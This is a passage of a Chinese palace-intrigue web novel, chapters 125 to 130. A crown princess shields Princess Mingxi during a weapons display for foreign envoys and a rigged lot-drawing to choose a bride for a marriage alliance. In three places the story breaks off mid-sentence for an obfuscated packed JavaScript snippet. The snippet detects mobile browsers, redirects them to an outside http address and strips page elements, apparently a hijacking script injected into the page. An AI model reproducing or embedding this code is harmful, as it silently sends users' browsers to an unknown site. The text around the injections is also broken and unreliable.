洛云舒含笑点头。 看来是有好消息。 看到洛云舒笑,明曦公主也跟着笑了。 这笑容落入昭阳公主眼里,只觉得分外刺眼。 她得想个法子,让裴明曦出丑。 和女宾这边的安静相比,隔壁显得很热闹。 大楚使臣上朝,直接展示他们的兵器。 果然,他们要先声夺人。 大楚使臣展示的时候,只有刀剑相撞的刺耳声,并没有其他的声音。 众臣都没言语。 主位之上,听着隔壁的动静,赵皇后表情沉肃。 偏偏这时候,昭阳公主站了出来,她正要上前,被赵皇后用凌厉的眼神制止。 昭阳公主面色一僵,只得退回去坐好,不敢再造次。 这时候,隔壁的展示进入尾声。 一个沉实有力的声音响起:“尊贵的大齐陛下,您觉得我国最新锻造出来的武器如何?” “尚可。”昭远帝的声音很平静。 “尚可?陛下,在下怕不是听错了吧?方才被轻易斩断的,都是你大齐的兵器,是我们先前的战利品。” 昭远帝声音平静:“你也说了是先前的战利品。您是贵国的摄政王,想必也懂得此一时彼一时的道理。我大齐的兵器,早已不可同日而语。” “哦?是吗?不知可否展示一番?” “自然可以。来人!” 隔壁,有人上场了。 短暂的安静之后,是一声刺耳的兵器相撞的声音。 然后,是诡异的安静。 片刻之后,有叫好的声音响起,一阵接着一阵,此起彼伏。 那是大齐朝臣喝彩的声音。 洛云舒唇角微弯。 看来,事情暂时有了转机。 这时候,昭远帝的声音响起:“摄政王,你以为,我大齐的兵器如何?” “陛下,这**为何只有一把?” 耶律齐不愧是大楚摄政王,看问题的角度很犀利。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769174|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭远帝却是不慌:“既是宝贝,自然不会大批量拿出来示人。怎么,摄政王是怀疑这**的实力?” “那倒没有。本王只是、太震惊了。” “我大齐能人辈出,摄政王为此感到震惊也是理所应当。” “陛下此言有理。” 之后,隔壁就响起一片觥筹交错的声音。 女宾这边,赵皇后的表情终于松懈了一些,也命人传膳。 有舞姬鱼贯而入,表演歌舞。 趁着这个空闲,明曦公主凑近洛云舒:“嫂嫂,危机是不是算是过去了?” “至少不是太糟糕。放心,有殿下在,你很安全。” 明曦公主满脸是笑:“不,是嫂嫂的功劳。” 这件事,她看得很明白。 “不管是谁的功劳,只要最后的结局是好的,那就是值得的。” 二人凑在一起说话,十分亲昵。 这一幕落入昭阳公主眼里,却觉得分外刺眼。 她起身,朝着赵皇后微施一礼:“母后,隔壁这般热闹,咱们也不能落后。不如咱们来个才艺比拼,如何?” 赵皇后瞥了她一眼:“好啊,你既然有这个意思,就从你先开始。” 昭阳公主一怔:“母后,儿臣不是这个意思。” 她是想让大家都来比试,也好趁机让明曦公主出丑。 谁不知道裴明曦那个人向来一无是处。 这时候,赵皇后却加重了语气:“昭阳,有贵客在,你不必藏着掖着。要知道,过度的谦虚等同于骄傲。” 一番话,把昭阳公主架了上去。 无奈之下,昭阳公主只得弹了一曲。 她学过琴,虽然不算特别精通,但是应对这种场合也够了。 一曲尽,中规中矩。 赵皇后带头鼓掌,柔安郡主也赞道:“不错,素来听闻大齐公主多才多艺,今日一见,果然不同凡响。” 昭阳公主面露喜色,她正要开口说话,赵皇后已经先一步开口:“昭阳,你的衣角脏了,速速下去更衣,面对在贵客面前失礼。” 昭阳公主低头看了看,她的衣服明明很干净。 她正要说话,皇后身后的宫女已经走了过来,扬手向前:“公主殿下,您请!” 无奈之下,昭阳公主只得跟着往外走。 可,就在她走到门口的时候,隔壁响起大楚摄政王耶律齐的声音:“陛下,听闻贵国公主才貌俱佳,不知我大楚是否有迎娶大齐公主的荣幸?” 第125章 昭阳,你可知错? 昭阳公主立刻停下脚步。 来了! 裴明曦的厄运来了! 裴明曦要被送去大楚和亲了! 然而,隔壁很快传来昭远帝的声音:“摄政王,今日只谈吃喝,不谈大事。” “哈哈哈……原来如此,来来来,本王敬陛下一杯!” 昭阳公主深感意外,不情不愿地出去了。 洛云舒瞥了一眼她的背影,又很快收回视线。 蠢货,如今事情有了转机,陛下岂会轻易让公主嫁到大楚去? 昭阳公主这个人,蠢而不自知。 这倒是奇怪了,滴水不露、心狠手辣的霍贵妃,怎会养出一个这样的女儿? 隔壁的动静渐渐小了,一场宴会随即结束。 女宾这边先退场。 但,退场之后,今日参加宴会的人全都被赵皇后叫到了翊坤宫。 这会儿,没了柔安郡主在场,赵皇后冷眼看向昭阳公主:“昭阳,你可知错?” 昭阳公主不服:“母后,儿臣何错之有?” “方才在宴会上,有大楚郡主在场,你站出来上蹿下跳的,想做什么?” “母后,儿臣只是想让宴会更热闹些而已。” “放肆!到了这会儿仍不思悔改,你当真以为你安的什么心思本宫看不出来吗?” “母后,儿臣真的没有别的心思。” 赵皇后不再与她多言,直接吩咐道:“来人,传本宫的命令,请昭阳公主去小佛堂抄《静心经》,抄不够一百遍不准出来!任何人不得探视!” 昭阳公主顿时变了脸色。 要知道,这《静心经》足足有八千多字,即便是不眠不休地抄上一天也抄不了十遍。 更何况,抄经书讲究一个心静,若是心绪不平中间抄错了字,整篇都不能用。 昭阳公主性子跳脱,爱热闹,这一百遍《静心经》抄下来,能把她折磨个半死。 “凭什么?”昭阳公主不服。 “凭什么?”赵皇后冷冷地重复着这三个字,“就凭你不顾姐妹之情,妄图让自家姐妹在大楚郡主面前出丑!古语有云,兄弟阋墙,外御其侮。自家姐妹之间即便是有再大的矛盾,也不该拿到外人面前去丢脸。今日明曦尚且不曾做过任何出格的事情,倒是你,险些在大楚郡主面前,丢了我大齐的脸面!” 赵皇后这话,说得极重。 直接撕下了昭阳公主的伪装! 这下,昭阳公主再也无话可说。 她跪下,痛哭流涕:“母后,一百遍《静心经》太多了,儿臣坐不住,抄不了这么多。求母后从轻处罚。” “正是因为你坐不住,才应该好好抄抄佛经,静静心。” “母后!求您了,不要这样对儿臣。” 赵皇后神色严肃:“昭阳,你错了。本宫一向如此,对事不对人。你做错了事情,理应受到处罚。” 昭阳公主不服:“母后,为何明曦之前犯了那么多错,您都可以轻轻揭过?” “明曦犯错,本宫何曾轻轻揭过?往日她被掌掴,被杖责,被软禁,大家都是知道的。” 只不过,往日里即便是被掌掴,被杖责,被软禁,明曦公主仍是不思悔改罢了。 然而,这些话落入洛云舒耳中,只觉得分外心疼。 以往,明曦公主独自承受了那么多的苦楚。 昭阳公主挑不出赵皇后的偏颇之处,只得颓然转身,随着宫婢出去。 但,走到明曦公主身边的时候,她冷冷地看过去,眼神里的恶毒尽显无遗。 只是,赵皇后在,她不敢说什么,很快就出去了。 昭阳公主一走,赵皇后挥挥手,让众人退下。 却在这时候,瞧见明曦公主朝她走了过来。 瞬间,赵皇后的心提到了嗓子眼儿。 往日里,明曦公主向来不按常理出牌,也不把她这个皇后放在眼里。 她还真担心明曦公主闹幺蛾子。 然而,明曦公主走近之后,却是膝盖一弯,跪了下去。 赵皇后震惊不已,嘴巴微张。 她捏紧手指,甚至觉得明曦公主这是打算一脑袋撞死她。 然而并没有。 明曦公主的身子深深地伏了下去,言辞恳切:“母后,往日里儿臣不懂事,让您费心了。您放心,儿臣日后会谨言慎行,不让您失望。” 之后,明曦公主接连磕了三个头。 这是大礼。 直到明曦公主直起身子,赵皇后才回过神来:“ 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“母后,人心难测,并非遍览群书就可以参透。谁又能够想到,自小伺候明曦长大的崔嬷嬷,私底下竟然如此胆大包天?事情超出寻常,故而我等最初都被蒙蔽。幸好,现在拨开云雾见月明,一切都好了。” “是,是这样没错。”赵皇后感慨不已。 等洛云舒安抚好赵皇后走出翊坤宫,天色已经彻底暗淡。 知意提着一盏宫灯走在前面。 洛云舒紧随其后。 宫里的夜晚很安静,宫灯投出来的光把人的影子拉得很长很长。 偶尔能听到几声知了的叫声,但很快就没了。 这样的夜晚很适合散步,但洛云舒没这个心情。 很快,她走上了后宫和东宫连通的宫道,很长,也很幽静。 却在这时候,听到前方传来细微的动静。 即便是在宫里,洛云舒还是起了警惕的心思:“谁在那里?” “是我。”一个人从深墙的暗影里走了出来。 第126章 霍少将军,请自重 是霍少远。 洛云舒陡然变了脸色:“霍少将军,请自重。” 她派寒霜出宫办事了,没在身边。 不然,可以直接武力解决。 “云舒,你为何怕见我?” 洛云舒直视霍少远:“霍少将军何出此言?本宫从未怕见你。你见了本宫不行礼,又是什么道理?” “承认你心里有我,就这么难吗?明明救了我的人是你,明明你之前对我就是不一样的,为何你现在却不肯承认?没错,之前是我鱼目混珠,认错了人,可现在我已经在改正了,为何你却不肯给我改正的机会?” “霍少将军,本宫是太子妃,心里只有太子殿下一人。还请你……” 洛云舒的话还没有说完,就被霍少远打断。 “若你心里只他一人,为何到现在你还是处子之身?” 洛云舒看过去,竭力做到神色平静。 她之前看书中写过,经验丰富的妇人,能看出女子是否经了人事。 却没料到,霍少远还有这个本事。 不,或许他是在诈她。 故而洛云舒面色平静,没有露出丝毫的破绽。 她冷笑道:“霍少将军真是冥顽不灵,只认为自己认为的,丝毫也听不进去别人的话。今日本宫就明明白白地告诉你,一切都是你在痴心妄想!” 说完,洛云舒绕过霍少远,径直往前走。 霍少远追过来,洛云舒猛地回身,用手中的簪刀抵住霍少远的胸膛。 “别动,否则要你血溅当场!” 这是在宫里,洛云舒不想**。 即便她此刻已经有了杀意。 霍少远没再往前,眼神却在她脸上痴缠:“你该是我的。” 洛云舒正欲说话,身后传来一个愠怒的声音:“霍少将军真是好大的胆子,竟公然对太子妃不敬。” 是裴行渊。 他来了。 他一来,洛云舒迅速后退,站到了他的身后去。 却没留意到,看到她的动作,霍少远的神色在这一刻变得暗淡。 而裴行渊的视线落在洛云舒手中的簪刀上,又很快掠过,看向霍少远:“其他朝臣早已离宫,为何你还在这里,莫不是想刺杀陛下?” 霍少远脸色一变:“太子殿下,您这是在公报私仇!” “哦?是吗?”说着,裴行渊身形一动,突然上前,手中不知何时多了一把**。 寒芒闪过,霍少远迅速后退。 但,裴行渊的速度更快。 顷刻间,鲜血溅起,霍少远发出一声惨叫。 裴行渊收回**,在原地站定。 有巡逻的禁军听到动静,朝着这边赶了过来:“太子殿下!” “本宫欲回东宫,碰到有人对本宫不利。尔等速速将人拿下。” 听闻此言,禁军立刻出动。 很快,有人认出霍少远来:“霍少将军!” 霍少远胸前受伤,疼得冷汗直流。 裴行渊却像是刚知道他的身份似的:“怎么,竟然是霍少将军?哟,还真是。不过,霍少将军这个时辰还没离宫,想做什么?” 霍少远无言以对。 裴行渊看向那禁军小统领,沉声道:“霍少将军是武将,他深夜滞留宫中,不知存了个什么心思。尔等务必好好查一查,不然,若是他有行刺陛下的心思就不好了。” 霍少远咬着牙反驳:“殿下这话未必也太危言耸听了!微臣绝无此意!” “有没有,要查过之后才知道。”说着,裴行渊的视线轻飘飘地掠过那禁军小统领,“外臣滞留宫中,尔等出了这么大的纰漏,还是想想怎么跟陛下交代吧。” 禁军小统领知道事关重大,急忙低声应是。 为了洗脱自身的失察,禁军一定会好好审一审霍少远。 见事情朝着这个方向发展,裴行渊很满意。 洛云舒也很满意。 二人并肩往回走。 “多谢殿下替我解围。” “小事。今日怎么没带寒霜?” “我让她去保护千机老人了。我怕有人会对千机老人不利。事出紧急,没来得及问殿下要人手。” “是我的错,留给你的人太少。” 洛云舒哑然失笑:“殿下,你我之间就别说这个了。这里说话不方便,咱们赶紧回去,我还有话问殿下。” “好。” 二人很快回了柔仪殿。 在宫宴上二人都没吃什么东西,知意很快命人去准备。 大殿之内,只有洛云舒和裴行渊。 洛云舒把遇到千机老人的事,连同阮英杰的发现一五一十地告诉了裴行渊。 裴行渊听完,双眸凝视着洛云舒:“这次,你帮了我的大忙。” “殿下,不是帮忙,是我们共同的事情。我们在合作。” “没错,是合作。但是你的功劳是最大的。我已经暗中派人去保护千机老人,寒霜很快就可以回来。我会再物色一些会武的人在你身边。” 洛云舒点点头,又问:“殿 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裴行渊倏然一笑:“我就知道你不会怪我。不知道为什么,我就是对你有这个自信。” 说着,裴行渊看着洛云舒,脸上的笑容愈发浓郁。 他笑得很开心。 不同于往日虚假淡漠的笑容,他发自内心地笑着,笑容诚挚而温暖,像个温和的邻家哥哥。 明明他刚才面对霍少远的时候还像是个暗夜修罗。 转瞬之间,却有了这么大的反差。 洛云舒也跟着笑。 她很开心,至于原因,她说不清楚。 但,就是开心。 知意很快端来了两碗面。 是鸡汤面,汤色清透,里面放了些鸡蛋丝,还点缀着小青菜,看起来很美味。 虽是盛夏,可到底已经是晚上,很是凉爽,再加上大殿内放着冰鉴,故而即便是吃汤面也不觉得燥热,反而很舒服。 吃完之后,通体舒泰。 “你先睡,我还要去忙。”裴行渊起身,笑容浅浅。 今日的危机虽然已经解除,但批量制造出新武器才是更大的麻烦。 虽然现在千机老人那边提供不了太多的帮助,但他这边也不能松懈。 兵部能人众人,或许可以从这把**上看出什么端倪。 裴行渊不敢懈怠。 他走之后,洛云舒打算明日去别院一趟,亲自见见千机老人。 然而,不等她去,第二天一早,千机老人来了。 第127章 太子真是好福气 是被人放了软垫,抬着来的。 千机老人的状态很不好。 她嘴唇发白,又干裂起皮,可一开口,声音虽然嘶哑却中气十足,语调强悍:“**,老娘这回差点就交代了!” 吐槽完,听身边的人说洛云舒是太子妃,千机老人扭脸看过来:“太子妃,是你救了我?” “是您老人家命不该绝。” “人美,又这么会说话,太子真是好福气。” “老人家,外面热,咱们进去说话。” 洛云舒吩咐人,把千机老人送到偏殿安置。 “原本想今日去探望您,没曾想,您竟然亲自来了。” “我等不及。”说着,千机老人按了按心口,“帮大楚造兵器的,是我那逆徒,褚升。他学了个皮**就想出去显摆,我不许,他就想对我不利。我察觉之后,避开了他,谁曾想,他竟然投奔了大楚,还想要我的命。不过,他到底是我徒弟,在铸造上,我有法子治他……” 一段长长的话说完,千机老人有点上不来气。 洛云舒急忙俯身,为她顺气:“您放心,我已经让人去请太子殿下,他身边有懂铸造的人,很快就能过来。您老人家节省力气,先不要多说话了。” “好。”千机老人连连点头。 之后,洛云舒让太医过来,再次为千机老人诊脉。 她怕千机老人有个闪失。 毕竟,以千机老人现在的伤势,不宜挪动。可她从西山那边而来,一路颠簸,不知道对伤势会不会有什么影响。 太医的诊断很快有了结果,千机老人的伤势没有恶化,但是因为年纪大了,这么重的伤,好起来会很慢,恢复的过程也会很凶险,稍有不慎就有可能丢了性命。 很快,裴行渊带着兵部的人来了。 有外男在,洛云舒避嫌,退了出去,吩咐太医去一趟厨房,根据千机老人的伤势制作相应的药膳。 喝药,加上药膳从旁辅助,效果会更好。 为了避免有人从中作梗,洛云舒让知意去盯着。 她则在偏殿旁的小屋子里守着。 大概过了半个时辰,兵部的人先行离去。 裴行渊出来瞧见洛云舒,脸上带笑。 他走近,在她身侧低语:“我真有福。” “什么?”洛云舒不解。 她不明白,裴行渊怎么没头没脑地说了这么一句话。 裴行渊笑得开怀:“老人家说,我娶了你,很有福。” 洛云舒脸颊微热:“她老人家不拘小节,话说得夸张了些。” “不夸张。我是真的有福。”裴行渊声音轻缓,笑容潋滟。 这一刻,他身子前倾,凑得很近。 顷刻间,一股艾草的清香冲入鼻间。 是裴行渊身上佩戴的驱蚊香囊散发出来的香味。 他离她这样近。 洛云舒脸颊一红,低下头去。 她有些局促。 偏偏裴行渊没察觉到,并未退后,就这么站着。 洛云舒甚至能察觉到他呼出的气息,她定了定神:“殿下只管去忙,我会照顾好老人家。” “云舒,这次的事情,多谢你。” “殿下言重了,这是我份内的事情。能帮到明曦,我很开心。” “嗯!”裴行渊重重点头,从她身旁走开。 直到裴行渊的脚步声彻底远去,洛云舒才抬头望向他离开的方向,若有所思。 之后,洛云舒转身去了偏殿。 这会儿,千机老人已经服了安神药,睡下了。 洛云舒留了人照看,回主殿处理东宫的内务。 没过多久,明曦公主找了来。 她看起来心情很好。 “嫂嫂,偏殿住了人,是谁啊?” “是一位很重要的老人,她精通铸造,殿下已经带兵部铸造司的人来过。” “真的?嫂嫂,你不会是在骗我吧?” “当然不是。是真的,千真万确。明曦,这次的危机算是过去了。” 明曦公主激动坏了,她冲上来,一把保住洛云舒,哽咽道:“嫂嫂,多谢你。” “不必谢我,我只是恰好走运,救了这位老人家而已。铸造的事情,还得殿下亲自操办。” “不,嫂嫂,我明白的。”明曦公主靠在洛云舒的肩膀上,喜极而泣。 她有一种劫后余生的欢喜。 而这份欢喜,是洛云舒带给她的。 她没有关于母后的记忆。 从小到大,是崔嬷嬷陪着她,可到头来,崔嬷嬷竟然骗了她。 从小信任的人是个骗子, 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洛云舒笑了笑:“女人又怎么了?明曦,咱们也是女人。” 明曦公主急忙解释:“嫂嫂,我的意思是,女人居然也可以铸剑!” “当然可以。明曦,没有谁说过男人能做的事情女人不能做,不要自己给自己设置限制。如果你想,你可以去做任何事。皇姑姑就是最好的证明,不是吗?” 大长公主曾为女将,随昭远帝一起南征北战,做到了许多男人都做不到的事情。 “关于皇姑姑的传言不是谣传?” “当然不是,是真的。” 明曦公主惊呆了。 她怎么都想象不到,公主居然可以做女将! 这颠覆了她的认知。 最终走出柔仪殿的时候,明曦公主的嘴巴都是张着的。 她是真的惊讶,且久久回不过神来。 洛云舒哑然失笑。 这时候,天色已晚,洛云舒等裴行渊回来用晚膳,谁知,等来等去,一直等到亥时也没见他回来。 洛云舒觉得不大对,就让寒霜去打探消息。 没过多久,寒霜回来了,脸色有点不大好看。 第128章 母后,这不公平 “娘娘,朝堂上仍在议论和亲的事情。” 洛云舒微微诧异:“怎么会?” 事情明明已经有了转机,为何昭远帝会让人议论和亲之事? “奴婢也参不透。但东方先生说,是因为昨晚大楚摄政王的提议,所以今日朝堂上有大人提起此事。陛下也下令讨论此事,说是未雨绸缪,免得到时候被打得措手不及。目前,这件事只是在朝堂上讨论,并未传到外面去。而且陛下下了严令,不许人议论此事。” 看起来像是寻常的提前准备。 但,洛云舒还是嗅到了不一样的气息。 原本,昭远帝是可以不做这个准备的。 可是,他忌惮裴行渊。 如果这一次裴行渊再次成功,造出超越大楚武器的新武器,那么,对于大齐而言,会是一件巨大的功劳。 有了更加强悍的武器,将士们就会更有底气,这份底气可以挽救很多人的性命。 甚至,强悍的武器出现之后,可以做到不战而屈人之兵。 这是无可比拟的功劳。 事成之后,裴行渊的声望会再上一层。 可,昭武帝怎么会眼睁睁看着这样的情况出现? 他还没老,不会希望身边出现一头强悍的猛虎。 所以,他会设法阻挠,甚至,干扰裴行渊。 但与此同时,他不会蠢到去损害大齐的利益。所以,他严禁大臣在外议论此事。 然而,仅仅是这份私心,就已经足够让人恶心。 他虽是帝王,可同时他也是父亲。 他本该是为儿子遮风挡雨的父亲,可现在,他反倒成为了扫向儿子的风雨。 一时之间,洛云舒说不清楚心里的滋味儿。 “殿下呢?”洛云舒问。 “还在兵部。” “大人们议论和亲,有没有明确提到让哪一位公主去?” “东方先生说,礼部有一位姓祝的侍郎,提议让明曦公主去大楚和亲,理由是明曦公主是嫡公主,送她去会更有诚意。” “是祝如松吗?”洛云舒问。 “您怎么知道?” “当初被明曦刺激得寻了短见的,是祝如松的女儿,祝雪棠。” “他这是公报私仇!”寒霜很是愤怒。 “除了他,还有其他人提议让明曦去和亲吗?” “那倒没有。反倒是有不少人反对,不少大人都觉得明曦公主是嫡公主,送她去大楚和亲,未免太给大楚脸面了。他们一致认为,即便是需要公主去和亲,也得找个身份低的。” 洛云舒心头微松。 没有明确说让明曦去就好。 只是,她到底是无法放心。 陛下既然决定做这件事,就一定留着后招儿。 果不其然,第二日一大早,赵皇后就派了人来,请洛云舒用过早膳之后去一趟,还特意叮嘱要带上明曦公主。 洛云舒心里有了猜测,用过早膳之后,她带上明曦公主,一起朝着翊坤宫而去。 路上,洛云舒再次叮嘱:“明曦,一切有我。没有我的暗示,你不要开口说话,更不要被激怒。” “是,嫂嫂。” 明曦公主很听话。 看着这样的她,洛云舒很是心疼。 偏偏这会儿在外面,人多眼杂,她能说的不多。 明曦公主却摇摇头:“嫂嫂,没事的。” 洛云舒点点头,继续往翊坤宫而去。 她们两个到的时候,人已经到的差不多了。 洛云舒扫了一眼,来的是各位公主和她们各自的母妃。 昭阳公主的佛经还没有抄完,她没在。 但是,霍贵妃在。 见状,洛云舒就知道赵皇后让她们来的用意。 大齐一共有八位公主,但,作为和亲公主,年龄不能太小,眼下年龄合适的公主有五位,除了昭阳公主不在,其他四位都在这里了。 果然,赵皇后沉着脸,很快开口:“大楚兵器强悍,我大齐怕是无力应对。依着陛下的意思,怕是要派一位公主去和亲。” 赵皇后话音落下,满室哗然。 不少人的视线极快地从明曦公主身上掠过,又很快移开。 洛云舒将一切尽收眼底,不动声色。 这时候,一个突兀的声音响起:“母后,听说大楚有最纯正的烤全羊和羊肉串 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15783141|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,滋滋冒油的那种,是真的吗?” 洛云舒看过去,发现说话的是康乐公主。 康乐公主长得珠圆玉润的,看起来很讨喜。 而且洛云舒留意到,康乐公主肥嘟嘟的手里还攥着一枚荔枝。 看来这位康乐公主是个爱吃的。 康乐公主话音落下,就被她的母妃惠妃扯了一下。 惠妃急忙起身行礼:“皇后娘娘,康乐口无遮拦,您千万别把她的话放在心上。” 她生怕这个时候引起皇后的注意。 赵皇后微微点了点头:“无妨,坐下吧。今日让诸位前来,也是想让诸位有个心理准备。适龄的公主只有五位,选谁去眼下还没确定。陛下的意思是,若是有人主动愿意去,最好不过。” 赵皇后话音落下,无人应声。 这种事,没人愿意去。 公主这种头衔,只有在自己的国家才算数。 去了大楚,那就是一文不值。 而且,还是作为和亲公主去大楚,身份无形中就低了一层。 这是意料之中的事情。 赵皇后叹了口气:“既然无人愿意,那就只好挑一挑了。” “不知皇后娘娘想怎么挑?”开口说话的,是霍贵妃。 赵皇后面色严肃,一副公事公办的样子:“自然是公平公正地挑,本宫不会偏袒任何一个人。” 她向来如此,按规矩办事。 “怎么个公平公正法?”霍贵妃不依不饶。 “陛下尚未明示,随后再议。” “臣妾觉得,每人发一张纸,各自在纸上写一个名字,最后数一数,看谁的名字被写得越多就让谁去。这样比较公平。” 明曦公主的身子不由得一僵。 若是这样,只怕人人都会写她。 她从前的名声,真的很不好。 可那时候,她也只是想自保而已。 可惜,她的苦衷无人能懂。 这时候,洛云舒握住了她的手。 之后,洛云舒看向赵皇后:“母后,这不公平。” 霍贵妃看过来,说的话很不客气:“太子妃说不公平就不公平了?” 第129章 你年龄最大,你先来 “当然不公平。”洛云舒迎向霍贵妃的目光,无所畏惧,“这样一来,只怕人人都会写昭阳妹妹。贵妃娘娘倒是大公无私,就是不知道昭阳妹妹知道之后,会不会感激您?” 霍贵妃陡然变了脸色:“太子妃胡说什么,怎会人人都写昭阳?昭阳一向乖巧,从不惹事。” “一向乖巧?她被罚抄佛经,这件事有目共睹。更是母后亲自下的命令,怎么,贵妃娘娘说昭阳妹妹乖巧,是暗指母后处事不公?” “太子妃休要胡搅蛮缠,本宫没这个意思。” “那您为何提议这个法子?您这不是把昭阳妹妹往火坑里推吗?您是她的母妃,总不好这么大义灭亲吧?” “太子妃真是伶牙俐齿,竟这般混淆是非。昭阳犯错只是一时之失,不像有些人是坏了根本。” “哦?坏了根本的人,是谁?”洛云舒笑着问,好像很感兴趣的样子。 霍贵妃没有开口。 她不能直说。 赵皇后瞪了霍贵妃一眼,有些不悦:“贵妃,你僭越了。如今选谁,怎么选,陛下尚未明示,也不会依你所说的办。再者,我大齐的公主都是受祖宗庇护,在严格的宫规之下教养长大的,不存在什么坏了根本的人。即便有人一时迷路,但终会走向正途。” “娘娘所言甚是。”霍贵妃连同其他几位后妃附和道。 “今日就到这里,散了吧。” 回到柔仪殿后,明曦公主兴致不高,洛云舒带她到凉亭小坐。 “嫂嫂,我没有难过,只是有些后悔。我从前只想着自保,却没考虑到我的所作所为会给别人带去怎样的后果,所以才有了祝侍郎在朝堂上的提议和今日贵妃的指责。” “明曦,你年龄尚小,在那样的情况下能自保就已经很不易了。更何况,你是受人蒙蔽,不是出自于本意。” 只是,事关先皇后清誉,事情的真相不能显露于人前。 皇室血脉,不能掺杂任何的怀疑,否则就是灭顶之灾。 “嫂嫂,我很庆幸我没有一直错下去。” “是啊,犯了错能改正,就已经很了不起了。” 这世上有很多人,他们犯了错,但是,他们从来不会想着去改正,甚至还会一错再错。 比如洛守礼,比如孙氏,比如霍少远,这样的人太多了。 甚至,他们压根儿不会意识到自己犯了错,这才是最可怕的。 错而不自知,就会一直犯错。 所以,知道自己错了,并且能够去改正,很了不起。 黄昏时分,皇后再次召集人前去。 已经有了挑选和亲人选的法子。 “抓阄。”赵皇后一锤定音。 有人诧异:“抓阄?” “没错儿,就是抓阄。这也是陛下的意思。既然大家没人愿意去,就只能抓阄,把一切交给天意。若天意让谁去,那就是谁。” 洛云舒的手指微微收拢,攥紧。 若是抓阄,那就是谁都有可能。 众人都看着,没人能做手脚。 很快,五个纸团就放在托盘里呈了上来。 从外观来看,看不出任何差别。 简简单单的纸团,将决定一个人的命运。 赵皇后解释:“这五个纸团之中,有四个写着不去,有一个写着去。谁若是抓到了写着去的这一个,那就是谁去和亲。” 众人面面相觑,没人敢上前。 因为要抓阄,昭阳公主也暂时被放了出来。 这会儿,她站在霍贵妃身边,拼命后退。 所有人都在惧怕。 这不是普普通通的抓阄,这会决定她们以后的命运。 甚至可以说是决定她们的生死。 没人会不怕。 “明曦,你年龄最大,你先来。”赵皇后发了话。 明曦公主硬着头皮上前,伸向托盘的手都是抖的,最终,她一咬牙,抓住了其中一个。 顿时,大家都伸着脖子看向她。 明曦公主抖着手,要拆纸团。 这时候,洛云舒大声道:“慢着!” 赵皇后看过去,面带不悦:“云舒,你做什么?” “母后,儿臣想着,不如所有人都拿了纸团之后,一起打开?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15783142|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这又是为何?”赵皇后不解。 “母后,儿臣觉得一起打开,会更严谨些。” 霍贵妃嗤笑:“这有什么严谨不严谨的?这纸团是皇后娘娘所制,怎么,你这是怀疑皇后娘娘偏私?” 洛云舒起身,朝着赵皇后微施一礼:“母后,儿臣没有这个意思。儿臣只是想着一起打开会更妥当一些,既然您觉得没有这个必要,那就逐个打开吧。” 她这边吸引了注意力,寒霜已经到了明曦公主身边去,又很快离开。 见状,洛云舒就放心了。 众目睽睽之才,明曦公主很快将手中的纸团打开,又很快合上,没让任何人看见,她如释重负:“上面写着不去。” 气氛莫名地紧张起来。 第二个去抓阄的,是昭阳公主。 明曦公主的纸团上是不去,那也就意味着,其他四个纸团之中,有一个上面写着去,抓到去的可能也就更大了些。 昭阳公主抖着手,抓起其中一个纸团,匆忙打开,之后,她的眼神像是定住了似的,死死盯着手里的纸团,之后她扔掉纸团,疯狂摇头:“不,这不是真的,不是真的!” 那纸团落在地上,所有人都看得清楚,上面清楚地写着一个大字——去。 和亲的人,是昭阳公主。 她趴在霍贵妃怀里,呜咽一声,晕死过去。 赵皇后忙让人把她抬下去。 她一脸沉痛:“事已至此,只能是昭阳了。贵妃,你节哀,顺便好好劝劝她。” 霍贵妃一脸沉痛。 很快,赵皇后让人退下。 洛云舒和明曦公主一起往回走,出了翊坤宫的大门,明曦公主双膝一软,差点儿摔倒。 洛云舒急忙扶住:“明曦,稳住。” 明曦公主暗暗点头,身子却软得厉害,大半个身子的重量都在洛云舒身上。 回了柔仪殿,明曦公主才觉得自己活了过来。 她慢慢展开攥在手心里已经变得濡湿的纸团,把上面的字给洛云舒看。 上面的字体清晰有力,但只有一个——去。 第130章 原来,被偏爱的人是这样的 明曦公主声音颤抖:“嫂嫂,怎么会是这样的?” 如果不是洛云舒让寒霜去提醒她,她现在就是和亲的人选。 但,昭阳公主抓的纸条上面也写着去。 这不是巧合,也不是失误,这是——阴谋! 是冲着她来的阴谋。 她年龄最大,她最先抓,如果她抓到了“去”,并被众人所知,那么,后面四位公主就不需要再抓阄,她就是那个唯一的和亲人选。 “嫂嫂,是谁,是谁想让我死?”明曦公主抓着洛云舒的手腕,连声问着。 洛云舒摇摇头:“我也不确定。” 出了这样的事情,赵皇后是最可疑的。 纸团大概率是赵皇后做的。 看着纸团上面的字,洛云舒问明曦公主:“你见过皇后的字吗?” “没见过。”明曦公主摇头。 